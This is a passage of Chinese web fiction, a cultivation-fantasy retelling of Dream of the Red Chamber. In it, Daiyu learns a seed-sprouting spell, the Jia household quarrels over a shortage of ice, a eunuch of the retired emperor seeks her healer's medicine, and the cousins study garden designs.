林管家虽看不上贾府的规矩，却也没有自信到林家下人各个都清清白白，没有联合起来糊弄主子。况且，夫人嫁过来时，也带了陪房、丫鬟等，这些年过去，他们或娶或嫁了林家的家生子，在林家扎了根。保不准就将贾家的一些习惯带了过来。
这自然是不能当面与黛玉说的，有对夫人不敬之意。
需得他私下里查。
又说了一会儿话，林管家带着黛玉写的信，和白妈妈写的几张开胃膳方离开贾府。
回到林府，林管家就叫了人把信送出去，又另给在扬州的儿子递了口信，就着手排查起库房。
不说林管家查的如何，只说他送出的信刚出京畿又被截下了。截信的人一字不少将信中内容抄录了一份，再次把信原样封好。
......
博山铜炉中燃着香，氤氲的香气充斥殿中。
“下去吧。”
跪在书案前的人一顿，悄无声息离开，没有惊动殿外的人。
书案后的人写完最后一个字，搁下笔，静静欣赏了一会儿，他轻哧一声，“老而不死是为贼，父皇怎么还不明白。”
林如海什么都好，就是亲事结的不怎么样。盐政上他也算尽心，还是先把他放在外面，免得回京沾上贾家的烂摊子。
半晌，他卷起桌上的字，投进博山炉中，看着它燃烧殆尽。
40.第 40 章
因控制不住五感，黛玉一心窝在自己的小院里种花，不理府中的纷纷扰扰。
许是因为绛珠草的功劳，而她于种植一道上也有些天分，每每过了她手的种子都能种活。
种子摸多了，她无意识间竟也悟出了一道小法术。果真如她师父所说，该会自然就会了。
这道法术不怎么厉害，也没有别的功能，就是给种子催芽。
发现这一点时，她兴致勃勃，一连催了二十几颗种子，谁知险些没把自己抽干。刚修出来的灵气一扫而空，头痛欲裂，差点一头栽在地上，还好青雀给她垫了一下。
她从来没有这么疼过，全然受不住，躺在床上直打滚，把芙蓉几人吓了一跳，何嬷嬷抱着她直掉眼泪。
本是装病，这下倒成了真病。
还好白鹤几下就判断出她是损耗过度，再者她如今已能修行，不再什么都吃不得，白鹤便挖了小半勺玉髓给她冲服，又兑了花蜜一日三餐喝，躺了两天，总算让她缓过劲来。
不仅人好了，阴差阳错，五感也能自如控制了。
事后她催了芽的种子都被芙蓉收起来，挨个辨认，基本都是普通花种。
“按理说姑娘虽然不济......”
黛玉咳嗽了两声，芙蓉不搭理她，自顾自道：“也不会随随便便就被这些凡种耗干了。”
黛玉捂着脸，滚进床里。何嬷嬷道：“姑娘刚喝了蜜水，不能躺着，当心反胃，伤着食道。”
黛玉只得又坐起来，道：“蜜水本来就是养身体的，怎么会伤身。姐姐看仔细了？”
芙蓉哼道：“肯定比姑娘看的仔细。”
黛玉知道自己吓到她们了，叫她阴阳两句，也不反驳，垂头默默听着。
芙蓉看她低着脑袋，一副可怜样，也不好多说什么。
何嬷嬷打圆场，道：“姑娘好容易再次修行，兴奋一些也是有的。这一次受了伤，吃一堑长一智，以后当心些就好。”
黛玉忙点头。
白鹤道：“一次性狠狠榨干灵力倒也没大错，这原也是个苦修的法子。且长此以往，这样修出来的人力量更精纯，更厉害。”
“当真？”黛玉立刻仰头。
芙蓉瞪了白鹤一眼。
白鹤道：“是有这样的方法，不过也要慎用，一是此法痛苦，常年累月，非常人能够忍受。”
黛玉一想到自己头疼的时候，恨不得把脑袋砸破，不由心有余悸。
白鹤继续道：“二则是用此法虚对自身非常了解，对力量的控制也要十分精细，否则一不小心压榨太过，反而于身体有损，留下暗伤就更不好了。”
“跟姑娘说，是让姑娘知道有这么个法子，不是全然都是害处。万不得以时，也能用一用。”
黛玉点头，“我知道了。”
他们说完，芙蓉也从十几颗种子种挑出一粒花种，道：“这种子有些奇怪。”
黛玉探头，她手上拈的是一颗浅棕色种子，上尖下宽，有些像松子，不过颜色更浅，个头也更大。
黛玉想了一想，道：“好像是宝玉送来的种子。”
荣府忙着整顿下人，隔壁宁府贾敬被贾政请回来以后，也一直没走，贾母三不五时就派人去问一问，他只能老老实实留在府里整顿家学，遍地寻肯来教书的人。
学里因此放了长假，加上宝玉受伤，更不用上学，没了“贾兰”的督促和影响，他是一点也不愿意读书的。贾母怜他平白挨打，更不许人拘着他，他乐得逍遥自在，时不时就往听松园来，每回必带上一两种淘换来的种子。
底下人知他不懂，随意糊弄他。黛玉看过他带的种子，许多都是死种，或者是不应季的。
芙蓉手上的种子是难得能感受到生气的，黛玉清点种子时混到一起，她就一起催发了。
芙蓉道：“这棵种子的芽比其他都小。”
何嬷嬷一看，“还真是。”其他催出来的芽都有寸长，只它是一个刚顶开外壳的小苗，将将露出一点绿意。
芙蓉道：“这是海棠花的种子，可能是发生了异变。”就是不知道它本身有异，还是因为黛玉的灵力催生出了变异。
“这些芽姑娘要怎么办？”
海棠三五月，或者八月以后种好一些，现在要种时间上晚了一点，但也不是不能种。其他种子就五花八门，什么季节的都有。
好歹是自己催发的第一批种子，黛玉舍不得毁掉，“都种着吧。等长出来，再挪到别的地方。”
没有人反对。
不消几日，东边荼蘼花架子下大大小小一溜摆了快二三十个盆，一眼看过去，颇为壮观，都快没有下脚的地方了。
连着挖土搬盆，黛玉也不让其他人帮忙，都是自己亲力亲为，就这么搬来端去的，她力气也大了不少。
何嬷嬷听她感慨，便笑：“哪有几日功夫就能锻炼出力气的，是姑娘身体好了，不像以前恹恹提不上劲，才觉得力气大了。”
周围各式各样的花盆，小的碗大一个，大的也不过面盆大小，没填上土的时候，稍微使些劲就能抱起来。花盆多半都粗糙的很，有几个精致些的，上面都贴了名字，是迎春几人种的，都放在这儿养着，她们随时来看。
何嬷嬷跟在黛玉后头帮忙压实泥土，抬头环视了一圈，揶揄道：“可惜了这样风雅的地方，原是该宴饮作乐的，让姑娘这么石头土块一堆，倒成了农家田地样了，还带着二姑娘她们跟着一块刨土，当真是跟种地没有区别了。幸而这里偏，若是让人看见了，还要疑惑莫非年景差成这样，府里的小姐都要自耕自足了？”
“谁说名士就只能宴饮，种田养花也是名士之风。”黛玉反驳道。
“可不是，五柳先生还在南山下种豆呢！”探春插嘴，笑着附和黛玉。
黛玉看见她们几个，“你们来了。”
惜春从探春身后探出半个身子，道：“我还想着我们今天到得早，兴许会吵着林姐姐休息，没想到林姐姐比我们更早。”
黛玉道：“我一早也睡不着，索性就起来了，也没别的事做，折腾折腾它们打发时间。”
她还一本正经跟三人道：“况且早一些给它们松松土，是趁着太阳初升，让它们早早吸收第一缕紫气，将来这些花会比一般的长得更好。”
迎春闻言，便道：“是这个道理，晚上也要松一松的，日气月精交汇，方是阴
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阳平衡之道。”
黛玉讶异地看了她一眼。
探春笑道：“林姐姐说玩笑话，二姐姐竟也接得上，难不成你们最近都在看老庄？”
迎春笑了笑，不接她的话，自去瞧自己的花盆，惜春连忙跟上。她天天惦记着自己水里养的种子。
何嬷嬷忙拦住她们，“姑娘们先不忙，到亭子里歇歇脚，等把东西取来再说。”
“什么东西？”惜春问。
探春看向黛玉头上古里古怪的帽子。中间四四方方凸起，帽檐十分宽大，边缘似乎还缀了一圈纱，极透，不动时几乎都看不出来。
片刻后，青雀带着三顶一模一样的帽子和几个瓶瓶罐罐过来，后头迎春等人的丫鬟各自提着壶，捧着盆，托着杯盏跟着。
探春取了一顶帽子，看了眼黛玉头上的，便试着往自己头顶比划了一下，道：“这是给我们的？”
黛玉拿另一顶递给她，道：“你手上的最大，是给二姐姐的，这个才是你的。先别戴这个，用完其他东西，最后才戴，上面缀的纱遮阳最好，还不会挡视线。”
黛玉指着青雀手中的瓶罐一一道：“这个是洗手用的，这个是洗脸用的......”
又有擦手的、擦脸的、保养的、除茧子的，纷纷杂杂，一应俱全。再有给她们喝的、吃的，种花用的，十分周到。
探春听完，道：“好琐碎。”
黛玉一听，转脸拉着迎春和惜春道：“你们可嫌不嫌烦琐？”
惜春手上拿着一双雪白蚕丝手套比划，听她问，懵懵摇头，“不嫌。”迎春随波逐流。
黛玉昂了昂下巴，道：“那就是了，探丫头既嫌，就不给她用了。眼看着咱们都黑了一些，我才让人备了东西，你还不领情。等你再晒个三五日，咱们虽磨叽着却还是白的，独你一个，跟黑炭一样往哪里一杵，都不需妆点，便可以唱包公了。”
迎春噗呲一声笑了出来，惜春不明所以，迎春小声跟她解释。
探春不恼，反道：“咱们姐妹都是一道的，等出去到老太太跟前一亮相，老太太便道：哎呦，今日竟在戏台下见到了个活包公，只是包公在这儿，不知你们几个，谁是师爷，谁是侍卫，要去哪里捉贼审案？”
黛玉绷不住，笑得帽子都歪了。惜春半懂不懂，跟着她乐。迎春有些闷闷，不自在地搅着帕子。
丫鬟们伺候几人洗手擦脸，穿戴整齐，各自散到荼蘼花架下去了。
迎春走得远，黛玉估摸着她听不见，小声问探春：“二姐姐怎么了？”
探春把着壶浇水，道：“不是大事。二姐姐的奶妈叫撵了，找二姐姐求情，二姐姐不肯，那婆子在她屋里嚷嚷了一通，二姐姐面上过不去。”
“要我说，早该撵了，没得主子还受奴才辖制的，有一个算一个，都打发了才好。”
黛玉笑道：“听你这么说，竟真是个嫉恶如仇的包公。”
探春道：“我倒是想当一回包公，只是没个案子让我审罢了。”
几人忙叨了一会儿，太阳大了，何嬷嬷怕她们热着，催她们回来。抹上保养手脸的膏子，喝着茶水，吃着点心，探春忽道：“这里比外面凉快。”
41.第 41 章
惜春“唔唔”点头，迎春替她揉胸口，“你慢些。”
青雀一口吞下一个松仁糕，嚼了三两口就吞下去，冲惜春眨了眨眼，伸手拿另一块。惜春口里还嚼着，嗓子里还噎着，见状不服气地伸手去够另一块。
何嬷嬷打了下青雀的手，“你到一边吃去！”又给惜春添了些木瓜浆水。
饮了浆水，惜春长舒一口气，道：“林姐姐这里怎么不备酸梅汤，那才解渴。”
“是解热罢。”黛玉笑道：“酸梅汤需冰镇风味才最佳，我这儿不热，不宜喝太凉的东西。”
何嬷嬷道：“今年的天气也古怪，热得太快了，往常这个月份，早晚还需加件衣服。”
探春好奇道：“嬷嬷不是今年才来的京城吗？”
何嬷嬷笑道：“我从前也是在北边生活的，后来才去了南边，所以也知道北边的情况。且南边一惯是比北边暖和的，可到这个月份，也没有这么热的。”
探春便点头，“早上咱们走过来，没多大功夫就出了一身细汗，还是林姐姐这里舒服。”
“我道你们这么勤快，天天来看我，原以为是帮忙来了，不想是为着这个。”
探春等人是来躲清净的，只是见她这儿好，更爱来了。听黛玉这嗔怪，探春笑问：“林姐姐的意思，是嫌我们心不诚，要赶我们出去？”
黛玉道：“本也是你们家的地方，哪里就能不让你们来了呢！只是吃了喝了我的东西，定要多使唤你们干些活才不亏。”
惜春拍着胸脯道：“林姐姐尽管吩咐，我和入画一起帮你干！”
众人都笑。
“我就知道你们都在这儿！”
大伙儿闻声看去，就见王熙凤领着平儿大步过来。
黛玉等人纷纷起身道：“二嫂子来了。”
见完礼又让座，何嬷嬷给她搬椅子，王熙凤也不客气，道：“妈妈不忙，我就坐石墩子上得了，凉快！”
说着，一屁股坐在抱月亭中的石凳上，问：“可有水没有？”
何嬷嬷倒了两杯绿豆水给她和平儿。
平儿：“多谢妈妈。”
满饮一杯绿豆水，浑身便有一股凉意透出，冲散了一路的燥热。王熙凤托着杯子瞧了瞧，道：“我说这鬼天气你们不老实呆在屋里偏往外来，原来是找了个消暑的好地方。有这等好处也不跟我说一声，害我撵着你们满府跑，尽走冤枉路了。”
她一边说一边拿帕子擦汗，平儿给她打着扇子，鼻尖也挂着汗珠。王熙凤推开她的手，“你也把这绿豆水喝了。”
“二嫂子寻我们有事？”探春问道。
王熙凤道：“是为着冰例的事。老太太说今年热得早，怕你们挨不住，叫早些往各处送冰。”
这事儿其实只需安排管事的人做就行了，往年也有定例，不过是提前一些。奈何如今府里撵了人，人人自危，凡是不肯多沾，各处麻了爪似的，她一时竟没找着个人，只好亲自走一趟。
另一个也是三春等人的奶妈都放出去了，她们屋里也没有顶事的下人，怕她们被人糊弄，她亲自来说也放心。
老太太要查人的时候，她心里还痛快，想着好好收拾拿大的管事婆子们。结果人是收拾了，她要做点事却比以前还要困难。太太还埋怨她，说是事事不便，她也不劝着老太太些。
瞧着府里竟是离不得这些个人了！
一想到下人互相推诿，王熙凤心里又有一股子邪火升起来。
歇了歇脚，散了一身暑气，王熙凤起身道：“我那头还有事，就不陪你们闲话了，记着让房里人去领冰，别忘了。”
众人都应了。
如是半个月，某一日黛玉这儿领冰例的人却空着手回来。
黛玉房里早换了一应夏日用具，床帐子是现裁的辞光纱。这纱帐能自生凉意，且最能锁温，只要不撩起床帐，里头就一直能保持恒温。
芙蓉又给屋里换了个鎏金竹节熏炉，立在扇隔角上，蒸上一块月魄蕊晶，掩在熏香下面一起烧，指甲盖大小的蕊晶能蒸上小半个月，屋里就凉爽宜人。
黛玉自身灵力缓慢运转，也有一点暑热不侵之效，基本无需用上冰块。
每回领回来的冰，她偶尔在扇隔外面用上一些，做些掩饰，便说自己身上受不住，都赏给了下人，因此连着两三日丫鬟没领回来冰她也不知道。
不过她这里本来就凉爽，下人们分到冰，便舒服着过一日，没分到，捱一捱，心里抱怨两句，也能过下去，其他人就不那么好受了。
不独黛玉这里短了冰例。没料到今年会这么热，府里是按照之前的惯例备的冰，早半个月赐了冰，用量又大，府里窖中的藏冰就捉襟见肘起来。
管事的往上面报了，王熙凤也批了银子到外面采买，但整个京城都热，外面冰价也跟着水涨船高，有价无市，那点银子买不上几块。
冰供不上，府里如贾母、宝玉等几个主子处是万不能断了冰，管事便从其他地方扣下份例。
黛玉这里是一处，三春那儿的冰例也跟着缩减，三人不得不将份例并到一起用，白日里多往黛玉处消磨时光，也勉强够用。
再就是李纨院子里也有短缺。她不好声张，显得她爱享受似的，只能默默忍着。
她忍得，有人却忍不了。
赵姨娘恹恹躺在床上，一会子背上贴着席子的地方就火烧火燎，她翻了个身，哪哪儿都烫人。
不开窗屋里闷，开窗热气又跑进来，赵姨娘心烦意乱，斥道：“你手腕子折？使这么点力气，想热死谁！”
丫鬟委屈地大力扇起扇子。
赵姨娘拉了拉衣裳，贾环闯进来，满头是汗，抓起桌上的壶揭了盖子就往嘴里倒。茶水浇了他一脖子。
赵姨娘掩了衣服骂道：“没眼睛的下流东西，进来也不知道问一声！”
贾环抹了抹嘴，道：“门又没关，有什么见不得人的？反正我也没见着。”
“呸！你个剪舌头的，还编排起你娘来了！”赵姨娘下床飒了鞋，就要打他。
贾环懒得躲，挨了两下，道：“姨娘不嫌热？”
赵姨娘正热着，前胸后背都淌着汗，也没了打人的力气，坐到贾环对面，见他脸上红彤彤的，问道：“外头太阳能融了人，你不在屋里，又颠到哪儿去了。早晚叫日头晒脱了皮！”
贾环在她冰盆里捧了水扑到脸上，道：“姨娘也分我一点冰，屋里热地呆不住。”
赵姨娘眉梢扬起，“我这里还不够，你份例比我多，不说心疼我生养你一场，孝敬孝敬我，张嘴还要从我这里抠几块！”
贾环哼道：“我哪里有冰，就那么一点，天还没亮就化完了。”<
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赵姨娘：“放屁，宝玉那儿一天到晚都有，怎么你就没有？”
贾环嚷道：“我是哪个，宝玉又是哪个，姨娘也跟他比。他那里要多少有多少，还能多出来分给丫头呢！我比他屋里的下人还不如。”
“姨娘不是问我去哪儿了？我去找宝玉的丫头玩了，在他那儿蹭个冰盆。”
赵姨娘火冒三丈，“你说的可真？”
“骗你又没有好处。”
“好啊！”赵姨娘穿了鞋，恨恨道：“你是个老鼠胆子，只敢在我这里大小声！当时怎么不去讨个说法！”
“走！跟我找他们去！”
贾环不愿去，硬叫赵姨娘拖着。乍冷乍热一激，半道就软倒在地，人事不知。
赵姨娘登时哭嚎不止，口口声声管事们克扣份例，不把主子少爷放在眼里，害了贾环的性命。
顶着烈阳她也能嚎得中气十足，引来不少人。
王熙凤收到消息匆匆赶来，喝散了人群，见贾环还软在地上，又气又好笑。她冷笑道：“他这样你不说先找大夫，还在这里号丧。环兄弟若出了事，我看大半都是你的责任。”
赵姨娘：“你们连冰都不肯给他，宝玉的丫鬟能用，他一个正经爷们倒不能用，分明就是想治他，哪里还会给他请大夫。不如就让他这么没了，也遂了你们的心，还省出来一份例，都挪给宝玉去吧！”
王熙凤脸色一变。探春厉声道：“姨娘热糊涂了，也说起胡话来！”
“二嫂子，还是让人先把环儿抬到一边去。”
她气得脸上发白，王熙凤不好跟赵姨娘发作，摆摆手，点了人去抬贾环。
赵姨娘声音不小，又请医问药折腾，最终惊动了贾母，遣人来问出了何事。王熙凤瞒不过，只好如实禀报。
贾母骂道：“宝玉那里是我心疼他，再有他娘也分润了一些给他，叫他过的舒服一些。那是个该烂舌头的混账，也敢胡乱咒哥儿们！”
骂完又问：“环儿怎么样了？”
王熙凤道：“大夫看了，说是中了暑，喝了药好些了，只他生的是热病，不能再随意贪凉冲到了，要养一养。”
“那就把他的例再减一减。”贾母道。
王熙凤忍着笑应是。
赵姨娘闻听此话，晴天霹雳。她偷鸡不成蚀把米，贾环病着，也不敢不遵医嘱，母子俩大眼瞪小眼，互相埋怨。
隔天，东府贾珍的夫人尤氏来了一趟，到惜春房中坐了坐，又拜见了贾母，半日后东府拉了一车冰过来，道是老爷给四姑娘的冰例。
贾母知道后，脸色难看，把人叫来，“你们老爷是何意？”
下人老实回答：“老爷说小姐本来就该领府里的份例，老太太虽疼她，如今家家冰块都短缺，也不好让小姐白占这边的份例。先前是珍大爷犯了呆，没想起这茬来，现下府里给小姐补上，就不占这边的份额了。”
字字句句都没有错处，偏戳人心窝子。贾母头眼发昏，一是气的，二是不明白贾敬是发了哪门子病，从前也不曾听说他对惜春有多关心，这会儿倒显起身份来了。
不过被东府暗戳戳踩了一回脸面，贾母气完后也生了疑心，吩咐鸳鸯到各处走一趟，瞧瞧赵姨娘说的是不是实话。
鸳鸯还没出门，就听下人来报：“老太太，宫里来人了！”
42.第 42 章
宫里的人？贾母扶着鸳鸯的手，问来人：“来的是夏太监？可是带了大姑娘的口信？”
自打国公爷去了以后，贾家就门庭冷落，只有每逢年节时才能被宫里惦念一回，赐些东西下来。就连这个，这几年也不大有了。其余时间宫里上门来的，就只有一个夏太监，每回张口就是要银子。
多半都是政儿媳妇或者凤丫头拿钱将人打发了，鲜少报到她跟前。
今儿如此正式，莫非是元春在宫里有了消息？却不知是好是坏。元春在宫里蹉跎了几年，再熬不出头，就成老姑娘了。
贾母想着，脸上也露出忧色。
下人道：“不是夏太监，是一位自称姓吴的老大人，二老爷在前面招待着。”
贾母一时想不出吴公公是哪号人物，催促鸳鸯等一干丫鬟快替她换了衣裳好见客。一时邢夫人、王夫人和王熙凤闻讯也赶到贾母房里。
等一行人到了正房，就见贾政陪坐下首，在与人说话。一个内监打扮，面无白须，头发已花的太监坐在左边首位不咸不淡同他搭话。
看到贾母等人，贾政不由松了口气，他实在是不善言辞，不会说阿谀谄媚之语。为了不冷场，可谓绞尽脑汁。
“许久不见老太君，一向可安好？”见贾母来了，那太监放下茶盏，眯着眼带着笑意起身同贾母问候。
贾母已认出来人是谁，原是上皇身边的大太监——吴程。贾母心中更是狐疑，上皇还在位时，吴程是宫中总管太监，论起品级，比贾政这个一动不动的员外郎还高。从前外臣命妇，谁见了吴太监不是笑脸相迎，何曾见过他这么亲切的时候。
虽然上皇已退位，新皇自有自己的心腹，吴太监手中权力自然大不如前，可贾母也知贾家没落，跟吴太监比起来，更有不如。
否则何必忍时不时来打秋风的夏太监。
心下疑惑，贾母客气回话，又请吴程上座。王夫人跟在她身后频频张望，一副急切模样，贾母不着痕迹瞪了她一眼。
吴太监只当看不见她们的眉眼官司，他是奉了命过来的，不愿耽搁太久，寒暄几句，说了些往事，便转到正题：“上皇听闻老太君的外孙女，林大人的千金客居府上？”
王夫人闻言失望不已。
贾母摸不清他的意思，不动声色道：“上皇明鉴，我那女儿薄命，年纪轻轻撒手人寰，留下一个孙女，我担心她无人教养，故而接到身边看顾。”
吴太监不耐烦听她这些前因后果，面上笑道：“老太君一片慈爱之心，令人动容。听说林小姐钟灵毓秀，聪慧伶俐，可否让咱家见一见？”
贾母忙让鸳鸯去请黛玉。
黛玉这会儿正听何嬷嬷说赵姨娘闹的笑话，又从她口中知道自己这里短了冰例的事，眉间郁郁。
“姑娘可是伤心？”何嬷嬷问。
黛玉摇头：“谈不上伤心。本也是可有可无的东西，他们自己家里都有不便的，我不过是客人，自然更让人不放在心上的。”
她来贾家时间不久，又不曾住在贾母房里，感情是有，但也说不上十分深厚。况且她身边有亲近之人，又随时可以离去，不是如无根浮萍一般，便没有了寄人篱下之感。哪怕她心思还是敏感，也生生少了许多伤春悲秋的之意。
她只是觉得，外祖家里连着生事，总透着一股不祥之意，不知以后会如何。外祖母年纪已大，二姐姐她们也小，若有朝一日门庭败落，她们不知该如何自处。
“姑娘自己还是个小人，就操起这门子心了。”何嬷嬷把一个册子递给她，道：“都说流水的王朝，铁打的世家，可这些千年世家煊煊赫赫，一朝也叫黄巢屠尽了，可见这世上没有什么是亘古不变的。若真是荣华已尽，也是运道如此，左不过船到桥头自然直，到哪里都是活着。”
“活不了......”
剩下的话她没说。
黛玉道：“嬷嬷感慨颇多。”
何嬷嬷笑而不语。她是亲眼见了城破国亡，旧朝落幕新朝渐立，改朝换代时，多显赫的世家也只是屠刀下滚落的人头。比起亡族之祸，贾家衰落，只不过是小事。
何嬷嬷点了点黛玉手中的册子，“先前跟姑娘说要弄个园子，地已经买好了，又找了人做了设计规划，这是大致的图样，姑娘先看看，有不合适叫他再改。”
黛玉翻开册子，刚看了两页，就见芙蓉领着鸳鸯进来。
黛玉忙将册子放到一边，“鸳鸯姐姐怎么来了？”又看她一头汗，吩咐何嬷嬷给她上解热的饮子。
“老太太请姑娘过去。”鸳鸯快速道：“宫里来了人，点名要见姑娘。”
黛玉不明所以，鸳鸯也只知道这么多，没办法告诉她更多信息。
“我同姑娘去。”何嬷嬷道：“鸳鸯姑娘且等一等。”
鸳鸯点头：“还请妈妈手脚快些。”
何嬷嬷去给黛玉拿外衫穿好，挂上寒玉，整好钗环，又拿了两把伞出来，“外边太阳晒，鸳鸯姑娘打着伞遮一遮。”
鸳鸯感激谢过。
荣禧堂中吴太监等得不耐烦了，才见黛玉几人姗姗来迟。
贾母朝黛玉招手，黛玉走到她身边。贾母同吴太监道：“这便是我那孙女。”
吴太监上下打量了黛玉几眼，见她小小年纪以出落得极标志。一路过来，去请人的丫鬟脸色都有些发白，她却面上红润，也不见汗渍，身体确实不错，不见半点虚弱之相，心下大定，对上皇所求之事更有把握。
心里打着算盘，吴太监嘴上赞道：“果然生的极好，不愧是老太君的孙女。”
他只是随口赞叹，听在堂下众人耳中却另有深意。
贾母以为上皇是看中了黛玉，要为某位皇孙相看，就她所知，甄太妃的所出的九皇子膝下就有一个跟黛玉差不多大的儿子。
凭林如海的官职，黛玉做王孙妃子倒是绰绰有余。不过这却是与她的打算相悖。
王夫人则想的是莫非是上皇看上了黛玉，但这也太小了一些？以后元春要是入了新皇后宫，表姐妹相见，岂不尴尬？
何嬷嬷要是知道王夫人的心思，定要啐她一口。想的倒美！
贾政没往这方面想，他想的是妹夫当真是简在帝心，强他多矣，该多多写信，同妹夫讨教学问才是。
邢夫人和王熙凤倒没什么多余心思，反正同她们关系不大。
吴太监不知自己一句话就引出了这么多想法，客套一句，他长驱直入，说明来意：“听闻林小姐从小身体不好，是得了神医调养，才与常人无异，不知是哪位神医？”
贾母和何嬷嬷恍然大悟，明白了吴太监此行的目的——为上皇/老皇帝求医。
老皇帝退位便是因为身体不好，无法再长期操劳国事，所以立了一个傀儡，自己当太上皇。这一决定果真延长了他的寿命，让他多
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活了四年，但显然他不想只活四年，还想长长久久继续活下去。他肯定是出了事，或许病重到了病急乱投医的地步。
何嬷嬷思索着，太上皇与新皇之间肯定有权力争斗，林老爷是新皇的心腹，理当站在新皇这边，姑娘不理吴太监才是对的。但太上皇的人逼到当面，看着是不问出个所以然是不会罢休的，贾家指望不上，这该如何是好？
何嬷嬷还没想出应对之法，就听黛玉道：“那位不是神医，是一位云游的道人，四海为家，居无定所。”
吴太监眯起眼，皮笑肉不笑道：“林小姐的意思是这个云游道人治好了您的弱症，便飘然而去了？”
黛玉摇头，“她并没有治好我，只是为我调养，让我同常人看起来无异罢了。”
吴太监可不想跟她抠字眼，今日他必须要一个结果。他一身荣华都系于上皇，比上皇自己更希望他活着。
“林小姐......”
眼见吴太监要发作，贾母忙揽过黛玉，道：“老内相，她小孩子家家不懂什么，就是请大夫，也是我那女婿的寻的人，大夫是来是去，她在内宅如何知道，该问女婿才是。再者那道人也不一定厉害，许是误打误撞，若是他真有本事，我的女儿又怎么会......”
话没说完就落下泪来。
贾母的话把吴太监堵了个正着，满屋的人他都不放在眼里，唯有贾母他要给三分薄面。
可这点面子也不够他放弃。
黛玉看他神色变幻，轻轻从贾母怀里挣出来，道：“我虽然不知道道人去了哪儿，但她也给我留了一瓶药，说我喝完就能好。”
峰回路转，吴太监眼睛一亮，“这药......”
黛玉道：“我体虚，用的少，喝了一年有余，如今还剩小半瓶，愿献给上皇。”
“嬷嬷，你去把药取来。”
“可是姑娘......”何嬷嬷故作犹豫。
黛玉摇头：“无事，去取！”
“是。”
吴太监笑容微深，意味深长道：“林小姐果然聪慧，深明大义。”
除了贾母和黛玉，堂下一干人已经被这番变故惊呆了，完全搞不懂怎么又是献药，又是牵扯到上皇的。
半晌，贾政结巴道：“老内相，上、上皇龙体有恙？”
吴太监斜了他一眼，贾政便不敢再问。
贾母闭了闭眼，搂着黛玉一言不发，吴太监闭目养神，不再理会众人。不多时，何嬷嬷捧着青玉瓶回来。吴太监迫不及待接过瓶子，打开嗅了一口，无需多言，只闻味道他便知道这是灵药无疑。
“好好好！”吴太监喜形于色。
黛玉道：“那位道人赠药时曾交代我要与牛乳混着用，一次服用两滴，不宜过多。不过个人症状不一，他人要用时，需得酌情增减用量。”
吴太监笑眯眯应了。
东西到手，他也不再多留，立即带着人回宫复命。
贾政脑子还没转过弯来，有些不知所措。贾母看了他一眼，疲惫道：“都散了吧，今日的事，都给我烂在肚子里！”
上皇病重，外头没听到一点风声，显见是里头瞒的死，那他们就得继续帮忙瞒着。
她特别看了王夫人一眼，“也不准给元春递消息。”
王夫人垂头称是。
“政儿，明天请你敬大哥过府一趟。”贾母又吩咐道。
43.第 43 章
翌日贾敬过府，贾母关起门来同他说了许久的话，连贾政也没叫上。二人不知说了什么，不欢而散，贾敬怒气冲冲出了府，回到东府过了一晚，第二天清早就带着人出了城，往城外自己的道观去了。
他一走，留下贾家家学一大摊子事，贾珍拿不定主意，匆匆来拜会贾母，请她老人家示下。
贾母说她不懂外面的事，让贾珍去跟贾政商量，该如何便如何，只万不可再出现学子之间斗殴的事。
贾珍忖度着贾母许是生他老子的气，碰了一鼻子灰，也不敢在贾母跟前碍眼，转头出门寻了贾政。
贾政于俗物上是一窍不通的，贾珍来问，他也说不出个所以然，便说还按原先的旧例行事，再立严些的规矩，学生有冒犯的，按规矩惩戒便是。
有了他给的主意，贾珍更乐得不操心，回去就让人把贾代儒又请了回来。
贾代儒赋闲在家了一阵子，贾敬说他年纪大了，学里都是顽童，恐他力不从心，请他领个闲职，在家养着，不必操心学里。
贾珍来时，他还在为生计发愁。贾敬虽没直接裁了学里给他的银子，但到底不如原先教书的时候拿的多，还有一些油水可捞。他又有孙子需要养，孙子也在读书，吃穿用度、笔墨纸砚等一概需要用钱，全家都指着他的月钱过活，。
一听下人说明贾珍的意思，贾代儒心里很是乐意，但又念着被贾敬扫了颜面，小辈对他召之即来挥之即去，实在伤自尊，就稍稍拿起了乔。
宁国府的下人无状之处是比荣国府更甚的，荣府好歹最近已经有所收敛，宁府的人没有约束，正经的少爷贾蓉都有看不上的，更何况贾代儒一个酸儒。
听他推脱两句，就满脸不耐要回去复命，贾代儒见状心知戏演过了头，来人是不懂什么三辞三请的戏码的，忙拦住人，说了几句好话，又塞了块碎银子，才将人打发走。
不几日，家学再次复课，教书的、上学的，还是原来那些人。可谓轰轰烈烈闹了一场，一看结果，又回到了原点。
不过经此一事，学里的风气还是有了点好转，起码表面上不像原先那般，就是不知道能坚持到几时。
学生们都知道荣宁二府的少爷是惹不起的，默契地疏远了贾宝玉和贾兰，不敢沾惹他们。
贾兰还好，受怨念影响，心智也早熟，只专心读自己的书，独来独往。贾宝玉虽然不爱跟须眉浊物来往，但他天性是爱热闹的，每每想跟人说话，却被人避如蛇蝎，久而久之，就郁郁不乐起来，又开始了三天打渔两天晒网的求学生涯。
府里没人管他，贾政更说不上话，十天他倒有十一天是不去的，终日在府里厮混。
这天众人都聚在贾母屋子里说笑，黛玉和三春几人挨在一处翻画谱。
黛玉对请人设计的园子图样不大满意，也不是图样不好，只是设计的人是按照寻常游玩赏乐的规划做的设计，黛玉觉得浪费了地。
论天下园林之奇、巧、美、雅，无有出江南园林之右者，若要赏园林之景，大可日后回了南方去游玩，她想要的是一座合她心意的园子。
她既有自己的想法，何嬷嬷等人自然不会扰她的兴致，总归银子是管够的，姑娘爱怎么折腾就怎么折腾。
可以放手施为，但真叫她自己设计，黛玉却不知道要从何着手了。她略通丹青笔墨，懂得赏画鉴画，也知道些造园的手法，唯独没设计过园子，闷头想了两日，最后决定从头学起，她有的是时间。
探春几个见她忽然从沉迷刨土种花变成手不释卷，都有些惊奇。待问出黛玉是想自己画一个园子的设计图，更为惊讶。
黛玉没说她手里已有一块地，只说想练练手，探春三人以为她是生了这方面的兴趣。她们平日里除了上学，剩下的时间也不过是做针黹女红，读书下棋打发时间，再没有别的玩乐活动，乍听黛玉的想法，都生出些兴致，便从一起种花，改为一起看园谱。
“林姐姐，这个好看。”惜春指着一张谱图给黛玉看。
黛玉侧头看了看，笑道：“四妹妹有眼光。这是仿的万卷堂中的殿春簃，小楼窗后种竹、梅、蕉，又有假山石苔，移种了芍药花，再以窗分隔。在楼里，每时每刻透过不同的窗往外看，赏到的就是不同的景致。”
探春：“好巧思。只我最爱芭蕉，却不喜芍药，若能将芍药换成杏花就好了。”
迎春便道：“这里既叫殿春，想是因为芍药春后开花最晚的缘故？若是舍了芍药，那也就名不符实了。”
黛玉道：“多谢化工怜寂寞，尚留芍药殿春风，便是殿春簃的由来。”*
